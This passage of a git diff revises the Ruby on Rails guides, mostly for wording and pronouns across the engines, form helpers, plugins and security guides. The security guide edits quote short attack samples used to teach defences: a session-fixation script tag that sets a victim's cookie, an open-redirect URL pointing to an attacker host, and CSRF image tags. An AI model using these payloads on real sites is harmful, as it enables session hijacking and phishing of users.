where it was called from. +If you were to use this inside an engine, it would **always** go to the +application's root. If you were to leave off the `main_app` "routing proxy" +method call, it could potentially go to the engine's or application's root, +depending on where it was called from. -If a template is rendered from within an engine and it's attempting to use one of the application's routing helper methods, it may result in an undefined method call. If you encounter such an issue, ensure that you're not attempting to call the application's routing methods without the `main_app` prefix from within the engine. +If a template rendered from within an engine attempts to use one of the +application's routing helper methods, it may result in an undefined method call. +If you encounter such an issue, ensure that you're not attempting to call the +application's routing methods without the `main_app` prefix from within the +engine. ### Assets -Assets within an engine work in an identical way to a full application. Because the engine class inherits from `Rails::Engine`, the application will know to look up in the engine's `app/assets` and `lib/assets` directories for potential assets. +Assets within an engine work in an identical way to a full application. Because +the engine class inherits from `Rails::Engine`, the application will know to +look up assets in the engine's 'app/assets' and 'lib/assets' directories. -Much like all the other components of an engine, the assets should also be namespaced. This means if you have an asset called `style.css`, it should be placed at `app/assets/stylesheets/[engine name]/style.css`, rather than `app/assets/stylesheets/style.css`. If this asset wasn't namespaced, then there is a possibility that the host application could have an asset named identically, in which case the application's asset would take precedence and the engine's one would be all but ignored. +Like all of the other components of an engine, the assets should be namespaced. +This means that if you have an asset called `style.css`, it should be placed at +`app/assets/stylesheets/[engine name]/style.css`, rather than +`app/assets/stylesheets/style.css`. If this asset isn't namespaced, there is a +possibility that the host application could have an asset named identically, in +which case the application's asset would take precedence and the engine's one +would be ignored. -Imagine that you did have an asset located at `app/assets/stylesheets/blorgh/style.css` To include this asset inside an application, just use `stylesheet_link_tag` and reference the asset as if it were inside the engine: +Imagine that you did have an asset located at +`app/assets/stylesheets/blorgh/style.css` To include this asset inside an +application, just use `stylesheet_link_tag` and reference the asset as if it +were inside the engine: ```erb <%= stylesheet_link_tag "blorgh/style.css" %> ``` -You can also specify these assets as dependencies of other assets using the Asset Pipeline require statements in processed files: +You can also specify these assets as dependencies of other assets using Asset +Pipeline require statements in processed files: ``` /* @@ -948,16 +1324,21 @@ You can also specify these assets as dependencies of other assets using the Asse */ ``` -INFO. Remember that in order to use languages like Sass or CoffeeScript, you should add the relevant library to your engine's `.gemspec`. +INFO. Remember that in order to use languages like Sass or CoffeeScript, you +should add the relevant library to your engine's `.gemspec`. ### Separate Assets & Precompiling -There are some situations where your engine's assets are not required by the host application. For example, say that you've created -an admin functionality that only exists for your engine. In this case, the host application doesn't need to require `admin.css` -or `admin.js`. Only the gem's admin layout needs these assets. It doesn't make sense for the host app to include `"blorgh/admin.css"` in it's stylesheets. In this situation, you should explicitly define these assets for precompilation. -This tells sprockets to add your engine assets when `rake assets:precompile` is ran. +There are some situations where your engine's assets are not required by the +host application. For example, say that you've created an admin functionality +that only exists for your engine. In this case, the host application doesn't +need to require `admin.css` or `admin.js`. Only the gem's admin layout needs +these assets. It doesn't make sense for the host app to include +`"blorgh/admin.css"` in its stylesheets. In this situation, you should +explicitly define these assets for precompilation. This tells sprockets to add +your engine assets when `rake assets:precompile` is triggered. -You can define assets for precompilation in `engine.rb` +You can define assets for precompilation in `engine.rb`: ```ruby initializer "blorgh.assets.precompile" do |app| @@ -965,15 +1346,15 @@ initializer "blorgh.assets.precompile" do |app| end ``` -For more information, read the [Asset Pipeline guide](asset_pipeline.html) +For more information, read the [Asset Pipeline guide](asset_pipeline.html). -### Other gem dependencies +### Other Gem Dependencies -Gem dependencies inside an engine should be specified inside the -`.gemspec` file at the root of the engine. The reason is that the engine may -be installed as a gem. If dependencies were to be specified inside the `Gemfile`, -these would not be recognized by a traditional gem install and so they would not -be installed, causing the engine to malfunction. +Gem dependencies inside an engine should be specified inside the `.gemspec` file +at the root of the engine. The reason is that the engine may be installed as a +gem. If dependencies were to be specified inside the `Gemfile`, these would not +be recognized by a traditional gem install and so they would not be installed, +causing the engine to malfunction. To specify a dependency that should be installed with the engine during a traditional `gem install`, specify it inside the `Gem::Specification` block @@ -991,11 +1372,12 @@ s.add_development_dependency "moo" ``` Both kinds of dependencies will be installed when `bundle install` is run inside -the application. The development dependencies for the gem will only be used when -the tests for the engine are running. +of the application. The development dependencies for the gem will only be used +when the tests for the engine are running. Note that if you want to immediately require dependencies when the engine is -required, you should require them before the engine's initialization. For example: +required, you should require them before the engine's initialization. For +example: ```ruby require 'other_engine/engine' diff --git a/guides/source/form_helpers.md b/guides/source/form_helpers.md index 4b6d8a93f0..ec4a255398 100644 --- a/guides/source/form_helpers.md +++ b/guides/source/form_helpers.md @@ -154,7 +154,10 @@ make it easier for users to click the inputs. ### Other Helpers of Interest -Other form controls worth mentioning are textareas, password fields, hidden fields, search fields, telephone fields, date fields, time fields, color fields, datetime fields, datetime-local fields, month fields, week fields, URL fields and email fields: +Other form controls worth mentioning are textareas, password fields, +hidden fields, search fields, telephone fields, date fields, time fields, +color fields, datetime fields, datetime-local fields, month fields, week fields, +URL fields, email fields, number fields and range fields: ```erb <%= text_area_tag(:message, "Hi, nice site", size: "24x6") %> @@ -171,6 +174,8 @@ Other form controls worth mentioning are textareas, password fields, hidden fiel <%= email_field(:user, :address) %> <%= color_field(:user, :favorite_color) %> <%= time_field(:task, :started_at) %> +<%= number_field(:product, :price, in: 1.0..20.0, step: 0.5) %> +<%= range_field(:product, :discount, in: 1..100) %> ``` Output: @@ -190,11 +195,20 @@ Output: <input id="user_address" name="user[address]" type="email" /> <input id="user_favorite_color" name="user[favorite_color]" type="color" value="#000000" /> <input id="task_started_at" name="task[started_at]" type="time" /> +<input id="product_price" max="20.0" min="1.0" name="product[price]" step="0.5" type="number" /> +<input id="product_discount" max="100" min="1" name="product[discount]" type="range" /> ``` Hidden inputs are not shown to the user but instead hold data like any textual input. Values inside them can be changed with JavaScript. -IMPORTANT: The search, telephone, date, time, color, datetime, datetime-local, month, week, URL, and email inputs are HTML5 controls. If you require your app to have a consistent experience in older browsers, you will need an HTML5 polyfill (provided by CSS and/or JavaScript). There is definitely [no shortage of solutions for this](https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills), although a couple of popular tools at the moment are [Modernizr](http://www.modernizr.com/) and [yepnope](http://yepnopejs.com/), which provide a simple way to add functionality based on the presence of detected HTML5 features. +IMPORTANT: The search, telephone, date, time, color, datetime, datetime-local, +month, week, URL, email, number and range inputs are HTML5 controls. +If you require your app to have a consistent experience in older browsers, +you will need an HTML5 polyfill (provided by CSS and/or JavaScript). +There is definitely [no shortage of solutions for this](https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills), although a couple of popular tools at the moment are +[Modernizr](http://www.modernizr.com/) and [yepnope](http://yepnopejs.com/), +which provide a simple way to add functionality based on the presence of +detected HTML5 features. TIP: If you're using password input fields (for any purpose), you might want to configure your application to prevent those parameters from being logged. You can learn about this in the [Security Guide](security.html#logging). @@ -328,7 +342,7 @@ If you have created namespaced routes, `form_for` has a nifty shorthand for that form_for [:admin, @article] ``` -will create a form that submits to the articles controller inside the admin namespace (submitting to `admin_article_path(@article)` in the case of an update). If you have several levels of namespacing then the syntax is similar: +will create a form that submits to the `ArticlesController` inside the admin namespace (submitting to `admin_article_path(@article)` in the case of an update). If you have several levels of namespacing then the syntax is similar: ```ruby form_for [:admin, :management, @article] @@ -845,7 +859,7 @@ end This creates an `addresses_attributes=` method on `Person` that allows you to create, update and (optionally) destroy addresses. -### Building the Form +### Nested Forms The following form allows a user to create a `Person` and its associated addresses. @@ -868,16 +882,18 @@ The following form allows a user to create a `Person` and its associated address ``` -When an association accepts nested attributes `fields_for` renders its block once for every element of the association. In particular, if a person has no addresses it renders nothing. A common pattern is for the controller to build one or more empty children so that at least one set of fields is shown to the user. The example below would result in 3 sets of address fields being rendered on the new person form. +When an association accepts nested attributes `fields_for` renders its block once for every element of the association. In particular, if a person has no addresses it renders nothing. A common pattern is for the controller to build one or more empty children so that at least one set of fields is shown to the user. The example below would result in 2 sets of address fields being rendered on the new person form. ```ruby def new @person = Person.new - 3.times { @person.addresses.build} + 2.times { @person.addresses.build} end ``` -`fields_for` yields a form builder that names parameters in the format expected the accessor generated by `accepts_nested_attributes_for`. For example when creating a user with 2 addresses, the submitted parameters would look like +The `fields_for` yields a form builder. The parameters' name will be what +`accepts_nested_attributes_for` expects. For example when creating a user with +2 addresses, the submitted parameters would look like: ```ruby { @@ -899,7 +915,7 @@ end The keys of the `:addresses_attributes` hash are unimportant, they need merely be different for each address. -If the associated object is already saved, `fields_for` autogenerates a hidden input with the `id` of the saved record. You can disable this by passing `include_id: false` to `fields_for`. You may wish to do this if the autogenerated input is placed in a location where an input tag is not valid HTML or when using an ORM where children do not have an id. +If the associated object is already saved, `fields_for` autogenerates a hidden input with the `id` of the saved record. You can disable this by passing `include_id: false` to `fields_for`. You may wish to do this if the autogenerated input is placed in a location where an input tag is not valid HTML or when using an ORM where children do not have an `id`. ### The Controller @@ -930,7 +946,9 @@ class Person < ActiveRecord::Base end ``` -If the hash of attributes for an object contains the key `_destroy` with a value of '1' or 'true' then the object will be destroyed. This form allows users to remove addresses: +If the hash of attributes for an object contains the key `_destroy` with a value +of `1` or `true` then the object will be destroyed. This form allows users to +remove addresses: ```erb <%= form_for @person do |f| %> @@ -938,7 +956,7 @@ If the hash of attributes for an object contains the key `_destroy` with a value <ul> <%= f.fields_for :addresses do |addresses_form| %> <li> - <%= check_box :_destroy%> + <%= addresses_form.check_box :_destroy%> <%= addresses_form.label :kind %> <%= addresses_form.text_field :kind %> ... diff --git a/guides/source/generators.md b/guides/source/generators.md index e9c8ef0225..4a5377c206 100644 --- a/guides/source/generators.md +++ b/guides/source/generators.md @@ -560,7 +560,7 @@ This method also takes a block: ```ruby vendor "seeds.rb" do - "puts 'in ur app, seeding ur database'" + "puts 'in your app, seeding your database'" end ``` diff --git a/guides/source/getting_started.md b/guides/source/getting_started.md index 2f322d15da..279a977f6f 100644 --- a/guides/source/getting_started.md +++ b/guides/source/getting_started.md @@ -398,7 +398,7 @@ If you refresh <http://localhost:3000/posts/new> now, you'll get a new error: This error indicates that Rails cannot find the `new` action inside the `PostsController` that you just generated. This is because when controllers are generated in Rails -they are empty by default, unless you tell it you wanted actions during the +they are empty by default, unless you tell it your wanted actions during the generation process. To manually define an action inside a controller, all you need to do is to @@ -1268,6 +1268,7 @@ together. ```html+erb <h1>Listing Posts</h1> +<%= link_to 'New post', new_post_path %> <table> <tr> <th>Title</th> diff --git a/guides/source/i18n.md b/guides/source/i18n.md index 1ad3b6ffd5..156ec7435c 100644 --- a/guides/source/i18n.md +++ b/guides/source/i18n.md @@ -833,6 +833,7 @@ So, for example, instead of the default error message `"can not be blank"` you c | confirmation | - | :confirmation | - | | acceptance | - | :accepted | - | | presence | - | :blank | - | +| absence | - | :present | - | | length | :within, :in | :too_short | count | | length | :within, :in | :too_long | count | | length | :is | :wrong_length | count | diff --git a/guides/source/kindle/KINDLE.md b/guides/source/kindle/KINDLE.md deleted file mode 100644 index 8c4fad18aa..0000000000 --- a/guides/source/kindle/KINDLE.md +++ /dev/null @@ -1,26 +0,0 @@ -# Rails Guides on the Kindle - - -## Synopsis - - 1. Obtain `kindlegen` from the link below and put the binary in your path - 2. Run `KINDLE=1 rake generate_guides` to generate the guides and compile the `.mobi` file - 3. Copy `output/kindle/rails_guides.mobi` to your Kindle - -## Resources - - * [Stack Overflow: Kindle Periodical Format](http://stackoverflow.com/questions/5379565/kindle-periodical-format) - * Example Periodical [.ncx](https://gist.github.com/mipearson/808c971ed087b839d462) and [.opf](https://gist.github.com/mipearson/d6349aa8488eca2ee6d0) - * [Kindle Publishing Guidelines](http://kindlegen.s3.amazonaws.com/AmazonKindlePublishingGuidelines.pdf) - * [KindleGen & Kindle Previewer](http://www.amazon.com/gp/feature.html?ie=UTF8&docId=1000234621) - -## TODO - -### Post release - - * Integrate generated Kindle document into published HTML guides - * Tweak heading styles (most docs use h3/h4/h5, which end up being smaller than the text under it) - * Tweak table styles (smaller text? Many of the tables are unusable on a Kindle in portrait mode) - * Have the HTML/XML TOC 'drill down' into the TOCs of the individual guides - * `.epub` generation. - diff --git a/guides/source/layouts_and_rendering.md b/guides/source/layouts_and_rendering.md index c6a3449ace..c2d9772063 100644 --- a/guides/source/layouts_and_rendering.md +++ b/guides/source/layouts_and_rendering.md @@ -404,7 +404,7 @@ class ProductsController < ApplicationController end ``` -With this declaration, all of the views rendered by the products controller will use `app/views/layouts/inventory.html.erb` as their layout. +With this declaration, all of the views rendered by the `ProductsController` will use `app/views/layouts/inventory.html.erb` as their layout. To assign a specific layout for the entire application, use a `layout` declaration in your `ApplicationController` class: @@ -703,7 +703,7 @@ WARNING: The asset tag helpers do _not_ verify the existence of the assets at th #### Linking to Feeds with the `auto_discovery_link_tag` -The `auto_discovery_link_tag` helper builds HTML that most browsers and newsreaders can use to detect the presence of RSS or Atom feeds. It takes the type of the link (`:rss` or `:atom`), a hash of options that are passed through to url_for, and a hash of options for the tag: +The `auto_discovery_link_tag` helper builds HTML that most browsers and feed readers can use to detect the presence of RSS or Atom feeds. It takes the type of the link (`:rss` or `:atom`), a hash of options that are passed through to url_for, and a hash of options for the tag: ```erb <%= auto_discovery_link_tag(:rss, {action: "feed"}, diff --git a/guides/source/plugins.md b/guides/source/plugins.md index d0aa2e55a2..8587bd48b2 100644 --- a/guides/source/plugins.md +++ b/guides/source/plugins.md @@ -3,9 +3,9 @@ The Basics of Creating Rails Plugins A Rails plugin is either an extension or a modification of the core framework. Plugins provide: -* a way for developers to share bleeding-edge ideas without hurting the stable code base -* a segmented architecture so that units of code can be fixed or updated on their own release schedule -* an outlet for the core developers so that they don't have to include every cool new feature under the sun +* A way for developers to share bleeding-edge ideas without hurting the stable code base. +* A segmented architecture so that units of code can be fixed or updated on their own release schedule. +* An outlet for the core developers so that they don't have to include every cool new feature under the sun. After reading this guide, you will know: @@ -48,7 +48,7 @@ See usage and options by asking for help: $ rails plugin --help ``` -Testing your newly generated plugin +Testing Your Newly Generated Plugin ----------------------------------- You can navigate to the directory that contains the plugin, run the `bundle install` command @@ -92,7 +92,7 @@ Run `rake` to run the test. This test should fail because we haven't implemented Great - now you are ready to start development. -Then in `lib/yaffle.rb` add `require "yaffle/core_ext"`: +In `lib/yaffle.rb`, add `require "yaffle/core_ext"`: ```ruby # yaffle/lib/yaffle.rb @@ -219,7 +219,7 @@ $ rails generate model Wickwall last_squawk:string last_tweet:string ``` Now you can create the necessary database tables in your testing database by navigating to your dummy app -and migrating the database. First +and migrating the database. First, run: ```bash $ cd test/dummy @@ -245,7 +245,7 @@ end ``` -We will also add code to define the acts_as_yaffle method. +We will also add code to define the `acts_as_yaffle` method. ```ruby # yaffle/lib/yaffle/acts_as_yaffle.rb @@ -286,7 +286,7 @@ You can then return to the root directory (`cd ../..`) of your plugin and rerun ``` -Getting closer... Now we will implement the code of the acts_as_yaffle method to make the tests pass. +Getting closer... Now we will implement the code of the `acts_as_yaffle` method to make the tests pass. ```ruby # yaffle/lib/yaffle/acts_as_yaffle.rb @@ -310,7 +310,7 @@ end ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle ``` -When you run `rake` you should see the tests all pass: +When you run `rake`, you should see the tests all pass: ```bash 5 tests, 5 assertions, 0 failures, 0 errors, 0 skips @@ -390,7 +390,11 @@ Run `rake` one final time and you should see: 7 tests, 7 assertions, 0 failures, 0 errors, 0 skips ``` -NOTE: The use of `write_attribute` to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use `send("#{self.class.yaffle_text_field}=", string.to_squawk)`. +NOTE: The use of `write_attribute` to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use: + +```ruby +send("#{self.class.yaffle_text_field}=", string.to_squawk) +``` Generators ---------- @@ -398,7 +402,7 @@ Generators Generators can be included in your gem simply by creating them in a lib/generators directory of your plugin. More information about the creation of generators can be found in the [Generators Guide](generators.html) -Publishing your Gem +Publishing Your Gem ------------------- Gem plugins currently in development can easily be shared from any Git repository. To share the Yaffle gem with others, simply @@ -411,12 +415,12 @@ gem 'yaffle', git: 'git://github.com/yaffle_watcher/yaffle.git' After running `bundle install`, your gem functionality will be available to the application. When the gem is ready to be shared as a formal release, it can be published to [RubyGems](http://www.rubygems.org). -For more information about publishing gems to RubyGems, see: [Creating and Publishing Your First Ruby Gem](http://blog.thepete.net/2010/11/creating-and-publishing-your-first-ruby.html) +For more information about publishing gems to RubyGems, see: [Creating and Publishing Your First Ruby Gem](http://blog.thepete.net/2010/11/creating-and-publishing-your-first-ruby.html). RDoc Documentation ------------------ -Once your plugin is stable and you are ready to deploy do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy. +Once your plugin is stable and you are ready to deploy, do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy. The first step is to update the README file with detailed information about how to use your plugin. A few key things to include are: diff --git a/guides/source/rails_application_templates.md b/guides/source/rails_application_templates.md index 711d910184..e4222e1283 100644 --- a/guides/source/rails_application_templates.md +++ b/guides/source/rails_application_templates.md @@ -78,7 +78,7 @@ end Adds the given source to the generated application's `Gemfile`. -For example, if you need to source a gem from "http://code.whytheluckystiff.net": +For example, if you need to source a gem from `"http://code.whytheluckystiff.net"`: ```ruby add_source "http://code.whytheluckystiff.net" diff --git a/guides/source/rails_on_rack.md b/guides/source/rails_on_rack.md index b42c8fb81b..9c92cf3aea 100644 --- a/guides/source/rails_on_rack.md +++ b/guides/source/rails_on_rack.md @@ -144,7 +144,7 @@ use Rack::ETag run MyApp::Application.routes ``` -Purpose of each of this middlewares is explained in the [Internal Middlewares](#internal-middleware-stack) section. +The default middlewares shown here (and some others) are each summarized in the [Internal Middlewares](#internal-middleware-stack) section, below. ### Configuring Middleware Stack diff --git a/guides/source/security.md b/guides/source/security.md index 595cf7c62c..21cc3deb8a 100644 --- a/guides/source/security.md +++ b/guides/source/security.md @@ -70,7 +70,7 @@ Hence, the cookie serves as temporary authentication for the web application. An * Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. You'll read <a href="#cross-site-scripting-xss">more about XSS</a> later. -* Instead of stealing a cookie unknown to the attacker, he fixes a user's session identifier (in the cookie) known to him. Read more about this so-called session fixation later. +* Instead of stealing a cookie unknown to the attacker, they fix a user's session identifier (in the cookie) known to them. Read more about this so-called session fixation later. The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10-$1000 (depending on the available amount of funds), $0.40-$20 for credit card numbers, $1-$8 for online auction site accounts and $4-$30 for email passwords, according to the [Symantec Global Internet Security Threat Report](http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf). @@ -111,9 +111,9 @@ It works like this: * A user receives credits, the amount is stored in a session (which is a bad idea anyway, but we'll do this for demonstration purposes). * The user buys something. -* His new, lower credit will be stored in the session. -* The dark side of the user forces him to take the cookie from the first step (which he copied) and replace the current cookie in the browser. -* The user has his credit back. +* Their new, lower credit will be stored in the session. +* The dark side of the user forces them to take the cookie from the first step (which they copied) and replace the current cookie in the browser. +* The user has their credit back. Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers (mongrels). Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database). @@ -121,14 +121,14 @@ The best _solution against it is not to store this kind of data in a session, bu ### Session Fixation -NOTE: _Apart from stealing a user's session id, the attacker may fix a session id known to him. This is called session fixation._ +NOTE: _Apart from stealing a user's session id, the attacker may fix a session id known to them. This is called session fixation._ ![Session fixation](images/session_fixation.png) This attack focuses on fixing a user's session id known to the attacker, and forcing the user's browser into using this id. It is therefore not necessary for the attacker to steal the session id afterwards. Here is how this attack works: -* The attacker creates a valid session id: He loads the login page of the web application where he wants to fix the session, and takes the session id in the cookie from the response (see number 1 and 2 in the image). -* He possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore he accesses the web application from time to time in order to keep the session alive. +* The attacker creates a valid session id: They load the login page of the web application where they want to fix the session, and take the session id in the cookie from the response (see number 1 and 2 in the image). +* They possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore they access the web application from time to time in order to keep the session alive. * Now the attacker will force the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: `<script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>`. Read more about XSS and injection later on. * The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session id to the trap session id. * As the new trap session is unused, the web application will require the user to authenticate. @@ -230,13 +230,15 @@ Or the attacker places the code into the onmouseover event handler of an image: <img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." /> ``` -There are many other possibilities, including Ajax to attack the victim in the background.
The _solution to this is including a security token in non-GET requests_ which check on the server-side. In Rails 2 or higher, this is a one-liner in the application controller: +There are many other possibilities, like using a `<script>` tag to make a cross-site request to a URL with a JSONP or JavaScript response. The response is executable code that the attacker can find a way to run, possibly extracting sensitive data. To protect against this data leakage, we disallow cross-site `<script>` tags. Only Ajax requests may have JavaScript responses since XmlHttpRequest is subject to the browser Same-Origin policy - meaning only your site can initiate the request. + +To protect against all other forged requests, we introduce a _required security token_ that our site knows but other sites don't know. We include the security token in requests and verify it on the server. This is a one-liner in your application controller: ```ruby -protect_from_forgery secret: "123456789012345678901234567890..." +protect_from_forgery ``` -This will automatically include a security token, calculated from the current session and the server-side secret, in all forms and Ajax requests generated by Rails. You won't need the secret, if you use CookieStorage as session storage. If the security token doesn't match what was expected, the session will be reset. **Note:** In Rails versions prior to 3.0.4, this raised an `ActionController::InvalidAuthenticityToken` error. +This will automatically include a security token in all forms and Ajax requests generated by Rails. If the security token doesn't match what was expected, the session will be reset. It is common to use persistent cookies to store user information, with `cookies.permanent` for example. In this case, the cookies will not be cleared and the out of the box CSRF protection will not be effective. If you are using a different cookie store than the session for this information, you must handle what to do with it yourself: @@ -249,7 +251,7 @@ end The above method can be placed in the `ApplicationController` and will be called when a CSRF token is not present on a non-GET request. -Note that _cross-site scripting (XSS) vulnerabilities bypass all CSRF protections_. XSS gives the attacker access to all elements on a page, so he can read the CSRF security token from a form or directly submit the form. Read <a href="#cross-site-scripting-xss">more about XSS</a> later. +Note that _cross-site scripting (XSS) vulnerabilities bypass all CSRF protections_. XSS gives the attacker access to all elements on a page, so they can read the CSRF security token from a form or directly submit the form. Read <a href="#cross-site-scripting-xss">more about XSS</a> later. Redirection and Files --------------------- @@ -258,7 +260,7 @@ Another class of security vulnerabilities surrounds the use of redirection and f ### Redirection -WARNING: _Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, he may also create a self-contained attack._ +WARNING: _Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, they may also create a self-contained attack._ Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: http://www.example.com/site/redirect?to= www.attacker.com. Here is an example of a legacy action: @@ -268,7 +270,7 @@ def legacy end ``` -This will redirect the user to the main action if he tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can be exploited by an attacker if he includes a host key in the URL: +This will redirect the user to the main action if they tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can be exploited by attacker if they included a host key in the URL: ``` http://www.example.com/site/legacy?param1=xy¶m2=23&host=www.attacker.com @@ -354,9 +356,9 @@ Refer to the Injection section for countermeasures against XSS. It is _recommend **CSRF** Cross-Site Reference Forgery (CSRF) is a gigantic attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface. -A real-world example is a [router reconfiguration by CSRF](http://www.h-online.com/security/Symantec-reports-first-active-attack-on-a-DSL-router--/news/102352). The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had his credentials stolen. +A real-world example is a [router reconfiguration by CSRF](http://www.h-online.com/security/Symantec-reports-first-active-attack-on-a-DSL-router--/news/102352). The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had their credentials stolen. -Another example changed Google Adsense's e-mail address and password by. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change his credentials.
+Another example changed Google Adsense's e-mail address and password by. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change their credentials.
Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination. @@ -379,7 +381,7 @@ NOTE: _Almost every web application has to deal with authorization and authentic There are a number of authentication plug-ins for Rails available. Good ones, such as the popular [devise](https://github.com/plataformatec/devise) and [authlogic](https://github.com/binarylogic/authlogic), store only encrypted passwords, not plain-text passwords. In Rails 3.1 you can use the built-in `has_secure_password` method which has similar features. -Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator): +Every new user gets an activation code to activate their account when they get an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, they would be logged in as the first activated user found in the database (and chances are that this is the administrator): ``` http://localhost:3006/user/activate @@ -398,7 +400,7 @@ If the parameter was nil, the resulting SQL query will be SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1 ``` -And thus it found the first user in the database, returned it and logged him in. You can find out more about it in [my blog post](http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/). _It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this. +And thus it found the first user in the database, returned it and logged them in. You can find out more about it in [my blog post](http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/). _It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this. ### Brute-Forcing Accounts @@ -418,24 +420,24 @@ Many web applications make it easy to hijack user accounts. Why not be different #### Passwords -Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring him to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, _make change-password forms safe against CSRF_, of course. And _require the user to enter the old password when changing it_. +Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring them to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, _make change-password forms safe against CSRF_, of course. And _require the user to enter the old password when changing it_. #### E-Mail -However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure _require the user to enter the password when changing the e-mail address, too_. +However, the attacker may also take over the account by changing the e-mail address. After they change it, they will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure _require the user to enter the password when changing the e-mail address, too_. #### Other -Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in [Google Mail](http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/). In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _review your application logic and eliminate all XSS and CSRF vulnerabilities_. +Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in [Google Mail](http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/). In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to their e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, _review your application logic and eliminate all XSS and CSRF vulnerabilities_. ### CAPTCHAs -INFO: _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not for a user to prove that he is human, but reveal that a robot is a robot._ +INFO: _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not for a user to prove that they are human, but reveal that a robot is a robot._ But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is [reCAPTCHA](http://recaptcha.net/) which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. [ReCAPTCHA](https://github.com/ambethia/recaptcha/) is also a Rails 